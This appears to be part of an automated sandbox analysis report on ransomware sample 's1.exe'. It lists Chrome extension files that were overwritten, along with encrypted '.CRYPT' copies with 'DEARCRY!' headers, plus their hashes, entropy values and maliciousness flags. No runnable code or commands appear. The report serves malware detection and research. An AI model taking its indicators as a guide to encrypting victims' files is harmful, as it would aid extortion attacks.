                                                              Preview: DEARCRY!....X'.nYocM.-.`T.kq._...}V....+h.p.(."..~.S.....&NZ.Q.1b.#.R.%.4..CL.L......|.<..M.6..XM.).[K...$}eN.(.~9..2.W...PmyA....@d.[.D.8j..HF.K.......|4|G.v...G...15.4-....z./4.....(l..>...o.}..^....G!....u.a..2.... <...n.Z8p4..0..$.U?...T..IaN.V..Q....^.............X%s.bo...a..lGb~.:.f......w....(.)....+.(...lM...A..<g......KB..s..H.oG...G..Z9.\hT....cXOP....4gc.Qh.#,..<s.Rv|.z........P6.....'.q.i..KX.[..V...\.3U:.GN.K.T.S.m.....
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.2_0\128.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):12318
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:96973910752CEB512CFB469B3E20BE34
                                                              SHA1:8239280082A9C2BE9572EE10F4176CBCEFE9778E
                                                              SHA-256:CCF3020B5E96EB4952E3A10219B2A7BF160CBECCDB7B0405643186EE2147EA7F
                                                              SHA-512:340369AFBD2B2D90CB755F11F7A6DAD2261829BE911C67D8E67603FF5D862095AEB77ACA204EDE2650892425F797FBA3E4D76071241CE25A8156906328D84DCB
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.2_0\128.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):12880
                                                              Entropy (8bit):7.984093830839248
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:065C6311F33E8522755AE610CC2DAA52
                                                              SHA1:CA5E09CABF5836BB940050651232CA5EC0C34650
                                                              SHA-256:3373A0DFCA2780C33D4AB96D2747679933F170055872823CECFC69600322BD9D
                                                              SHA-512:4E21D432BF93796BF859D182694B0B99061E117BE4F224BA9914FDCCE8487D3A2ED4276C9635F61E1334ED552DD964BF25448F0A57122637E0A3A5FEDBC97574
                                                              Malicious:false
                                                              Preview: DEARCRY!....)..."-.i.+...9..l.#s#=c.[..o..^..D!.....JD..f.........tk..y.}cS..[.F..n.Q....P@?H.n;.'n...q.pb...D.....O...,6.Da{v...L.......a..sUjR..`..8...y...f.w.z....;.NyM9l.<..Y..:........@.5.L.O...o..b.D.O....%..=.i#P.......].2.....P.yVH..<.vyw.....................2TsAm.NCC.$...v.........Ty.......e.])r@....+..6K..Z.fN..D].Z.....!....g..f........~...>DX...ET.+w;4.a...`.w.R.....q.;......S.OJ..@.<...t9R#`........W[..E.S*.\.&.$.l%<u...!L.h.....Z.D.;.....(..q...y.y..+Q.....E. ..6...to......|m.3m...%.+....4c,7..?\.?...c....).7..i...0......k..qw.<xG..Y..8.!...[s\$x.D.1]b.7)^..Yme.....W.:m-...C%.}...S}..g.Mej..@E.#~...U]..}..Yal....yE.v......]p.c.i~....'...!Z......\...^...t.....fk..eG..Z6... ...~t.1Jf.X'e.kt.'.R.Y./...F.n...........2iy........(<....................#.#*..`b1Bu .~8..Zs.]..B.w..^@...>V....KX../'.oN$xcj;7Q...?..O^....I....q..p...$..Y.p.T.gc(6.M4.....s[.F....qIN.7Q4^T.j....R..{...SD.^...k...>+),..*..Y.cE..?r......N.a.....!.&nBW.9..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\angular.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):607402
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2F8BF0AF46B719DC1C46D34288726C50
                                                              SHA1:34C8B8803EA013C84275AF41FC634AE0AADA1E59
                                                              SHA-256:5E9FDD9059B22013F3ECE865ECD5CA506C59AFB9732394BABB802D7CAADC41C7
                                                              SHA-512:3C590765DB7EFF80C2944A32415776B41F6BFBCA3640123922D9963309B8D05CDD88F2A4CDCBBD970E06A7D753FE0C75EDF6F21DD9473A42ADD413590C48B161
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\angular.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):607688
                                                              Entropy (8bit):7.999727978115914
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:1F2E3EAE32A16B5A6095AEBC6595A33A
                                                              SHA1:E7874DDF4775019EB39ED7F33F48E544EA228439
                                                              SHA-256:FBBA97DF47CB455B674295976456E647CECD0D797CE8922A59BD6944C3EA0709
                                                              SHA-512:D80256B1EA5F15B68697253035789F1704CF83A2FDEC84DA0B3A749016D2DCC03DFAD7ADBEFBD3D22AA185FF13CA26DE7B89F77A611CC1AB87635FCF773AD4FB
                                                              Malicious:true
                                                              Preview: DEARCRY!......R....K...^.}=...ePBLI..d...^a..%.~.H&.._k.8.|2..7L.....(1z...;c)...M..q"....gM7.z...q..y_. ..s.c.Q.........M.x.E..*.....;....T?..v->^.......V.s...ab..Y...,4.[.N^..?r.h9T..C..ep.t..Sh.)......E[Pw.{..3.......g....;5?(&.....O..l>t%.^..H4|.........D..........{..'....^..Y....L.....~.$].]....<.}..wACu...Z,.?K.1.?=6oY...-.[...a^?..v`.!...y+....^.K..].+.....\".$.@..s.8.w....<."..+6...*........c.....4y.!T(...v .'...,.9Vm..r.h...XE..Sq$.^.QL5{>.bN.4|S...j.>..g.......A@.P...+7&.&....K!-B..s/..........x..oA.Os<....e.hA....*."..U_.'Z...!.[...PU..E.. .\x..DX....~.2....QbF..E....{........[..S8....v.........Z....E$g..<v.........%^.....v.M.oF.:i...S....s..4Gek..`4.N!5. ..qPeV$rId,.jB.()$.K....7.....z/W8....?/u..?..=..Ttf..,.PT..h."cPhi.S..S...\.}.9..TC....D.y......GS.g..<3...._..p;....u.1.de.....*..r..Q.g1g...}....M..*..M3m...B.t...8|a.5..(.f..!..6.......9P.ip.P.<...]6..v..kzh..k...........yN..O...1......+...3+.....G....qXq.g..&9uA!..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\background_script.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2088
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2CBBAB3CF7CA3ACC6E70C0727F1CCBDB
                                                              SHA1:6375963A80C7508B1818AE63A75DC28AB8D39B6E
                                                              SHA-256:7B7AB9DA0653E4FE36FB9E74885F675028160EB719B76E010C9C2B20819AE4DA
                                                              SHA-512:352D6B82C3BC6C3F767CF90E1E71E2C372AF3087C0D2B33275996ADB84B4805909CA804274A3FA41EACBAA9C971F9DC6F8B76AA092208BA75D697B10222050F6
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\background_script.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2376
                                                              Entropy (8bit):7.924881176205698
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6452EE48D7D80446920035B68A085168
                                                              SHA1:379D243EC2102FE79E9AA79C0D38C7ABBB93EF42
                                                              SHA-256:A2FB3A1562B24FCBFDAD5804CAD9F2CD5DF6A58440DC45F80DAF7D21D1C80093
                                                              SHA-512:A942D0A8C201773186449C9982BD02D2A941F43F3D583488DCC27AF2AFF7E62C76E7634FBB3BB4CE78B6F32CD14398F1556CCA01012404576A975D96FADB2D78
                                                              Malicious:false
                                                              Preview: DEARCRY!....X... ni.[.4s.1:.t..1..kw.......>X.E;Pr-...H..%.y..+<;>..R,Zb.B......"..#.(..\R....Y...%F..W..W...|:.U.G5....f.F..]2.9......M.l*..j.Ub.KC"....../...l[.`q....L6!.......:j....J.N.2m...q.."....BD.. .M...*.VJ.fB.Rr. 4.k..g.,FT[..v.xeK.....(I.t.......41.#....(........y....v.../...]....k f...,..+j.#.#.... ......&......]....g_!.EG...uu9..C7q...|...|.O......|.M...X-.EK..5..@4;w.h.'..g..x\u...iu>..2..'.f..xb.q\....n..Z....rr...t...?..fL..h..p..G..2]...H......s.......G.....f..c..v.r!.!...9.G..8g.j.....DM../.=....I.\...`O..DG..3(..I..i.d9......3..]....^.VKn.a..9/W./...'Q..sZ}#.5.....:A..a...O"..&...x..d........j.d.{..7.\=...Q/U4..^?}Xh..J..\Eq.=.......8.=h..^.....v1i.7..Q....-z.@..L.......W.....Z.'b<G.+c.&h$....B.cU.w.YK.i..Y...Hl.?O.u.3.(...........`...W......;1.L.`..Y6.a......&....+....,.[..tF...0....4......T0....=.hx%.?R...@{.B...?..c`sx.T^io...3.m....g!.V.....#+.....|..N...].....*Mr.n. .Td...m.0V...o."....`e...HQ...Y..........T...t.m.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\cast_sender.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):50197
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6C7F12CD3E50E692250C7CF7FA73B2BC
                                                              SHA1:A71DCFE3CA055C95E5D63B2337CF263629415941
                                                              SHA-256:C7678E4ADE5CD05C2B02B583EE12D9E643A117C4BDD9B3639EC43334C229FE13
                                                              SHA-512:112E3A3B17022263311E3E3B631B655885F83771DE6D8AD5E8C6B82F94284BA6FA95763FE52708960918A120FB476BCE311FA0E0DF34DD7D2859517EB6A72479
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\cast_sender.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):50488
                                                              Entropy (8bit):7.996535644360318
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:DC69E099FF9ECAD789E15F0FE56D32CF
                                                              SHA1:6F5F99A6831E7ED24FAC0619395DE0273EEB300F
                                                              SHA-256:E13226780A3DF7DA9FF280C646AB72EA118EE0075C2AEA2405258717627BF37C
                                                              SHA-512:4BD67D6C7F27F7CB972E87085D2EB1C39A615201CA2401EA74EBDB4407C016F1C1152268FA131FCE2182376AC7E928DB14967C3F97B292C098486586EBFBA03E
                                                              Malicious:true
                                                              Preview: DEARCRY!....V.....b.P....H}.im{......8.29...,.../..#Zz..CkE...O.2*......4.1.X.A....?.L..W]..:+7.e....JW.d.....E....S.'.[..)].NVu...'*.zj.D..j5.....qs....R^...%....f.N;...0M...A...O.(..Ok.a.Bk.@........J..).....[R.D.H....P....G...A../5.....T.}..3Sc............}..7.y.......0.5...F..M.d.......).xg.Z..3.v..{.3.i...L|..PYg.].?lR"....P..5..c^.Mq1yN.../J.9.2v.[Z..2[...H...u)..=.y.......@.X..g..XQ...W.r..iA:..}...5...Rj.W..=H.&.a.g....%..`....|Df..Ly^-d.$..(...5bQT..!..K..m.4.^.Y...n`.P.M.....bC.L.{.K.eMQ..rP..W.V....>L...,...1..A.m.7..B(..(.... ...k^......-"/#}....[Ra..G..c. ....0)....&k.9H.C.......-_..|..X.....o...=.Kl..q..T_...\..e.3&.kW.a8h..+......Fo5.R......S.....*..X...$m.E....d..=..sh..]._....Zt._..p...U...('.i.iC@a..Y..I..e...G..;..F...2...r ....Y......v;...^.......iA."..9..M...r..?....dR2.....e-..H.q`...12W.ND,.......=(.MYGj.u[..^.J6....e...?...O!..A......nS.."^.c...~......{RM.0..?..c7.......n{.d....K..B.i..<.z.d...n<v.K.P..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\common.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):38099
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7D482B55C9D040A655594C3CC9792EFE
                                                              SHA1:D17C37BB4D425FE19CAACE5D6B034CED8656D93C
                                                              SHA-256:D435AEC678FB9750946B179EE3D49BE1D0257B63C31E3D2AD352F09A58F44DC9
                                                              SHA-512:4D67FBE7A1BCD5798B5B9C305BC437AD97B695CA0EF00B95BF76BF35D1257F1F8209BCD0C89055053F55831314D418AA90CD0B948FBBFB5615EF97920B1EEAA7
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\common.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):38392
                                                              Entropy (8bit):7.995484315240945
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:7E77DB545F760C12BBB7F652E1127150
                                                              SHA1:09C70B455A2DBDC160C36011A81F087CD76C6CCD
                                                              SHA-256:C8D2F490A219A6B5508E29641CE935A44ECD52C293129967DB0719D55E49364A
                                                              SHA-512:0990ED4A3490DA65070213EECBD207783A7368704601BDA50DCCC7FCFF96863BC6D2C33ABDDFD94829250E78CF4497F585295CE5D0B4BC72C35E26CF29B18199
                                                              Malicious:true
                                                              Preview: DEARCRY!....|BQ.#.......(.e.I.B.u....v%|..4\..*...yE%}..r....RQll.2.8....ufK../..>.O2V;.[.!.._...y.... Z,..S4.....y...!_$..!.V.u..9I.D..].3GN$.9...<_..+...9.\....?..(3.I..ta..m.....>.......G.1..M*.}...?.i..;...+...h.9.,0$;e..._.E...a?Z .GHD.........|1...........k0_.A..]..d...S.^.+.c...n........N..e.}XI....k..,..P.s.e.Eg".g.bF....}.}......n.lO.V..[w.!.C....S...J..Xi....-C9....(.LQ.;S........)9.W...v...t.q..B.....6\/...(..6.`)6-..0.<....O&L.=.....b%&...F....:}...o,....&..eF.E...?....f..#.....S.w~`.B.\8.&...xt.V.38..^.5....l.....J..c.6..7U......a...Y.S...o...:gsa.t......U.;..7..0U...j..a].gt.;.\g.T.....-.....!..E...4..:;..>..T&.......I.....?...G....,;.t..k.CZ.....O.?..+..N.m..$!...jhO.a.*._dq__........x9.......Pm...'..z{D....$.^Bx...'.Q/.k>.V..x}6.G..5....yf.....9.....N.y....CO"-.5..h..-xV...F-...b;..*@.9.Z...6..{....Z..z. U gA...]3L@..+....@fq....\...;.C...a..3.q....D.I...C.h...}b.{..P..S.F..B...%I.w.t.......(d.59.QJ.y.,.h.(..t....U.....".
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\feedback.css
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3116
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AA8CBC697D3BFBA86ED87C02E50EFF80
                                                              SHA1:7D100E015EC28468E2FF4479866412AA2AB996B0
                                                              SHA-256:FA8903F47B3B64FC0385699D9ED0FD47A381777F713C43B7B9461473F66C9A9E
                                                              SHA-512:A22F9AD65D9B53A2155DFC2090E82D39858A97EBA43047141C60D82890565775E806EB8A6DE78D05391BCFCBF9DE5DC609E9646D07DDBBF9D22A290474A505C1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_0\feedback.css.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3400
                                                              Entropy (8bit):7.9430300396804885
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:ADD50257545BCB222240370B9C278D97
                                                              SHA1:8C90EA21D83DB36E255469BF304002BD3019B655
                                                              SHA-256:5DCAE08831313203D297926B48217BC46FE021B919907AD3ABD8298DCE77B0FB
                                                              SHA-512:C7670F6F371E1758974FF2A38F693C667F923CBAE4871CC22F438B525FF08ECEDB4ACF90849779488BAD9FE1FEC63A4373FB9DF5F9420AE1B77663A07016882D
                                                              Malicious:false
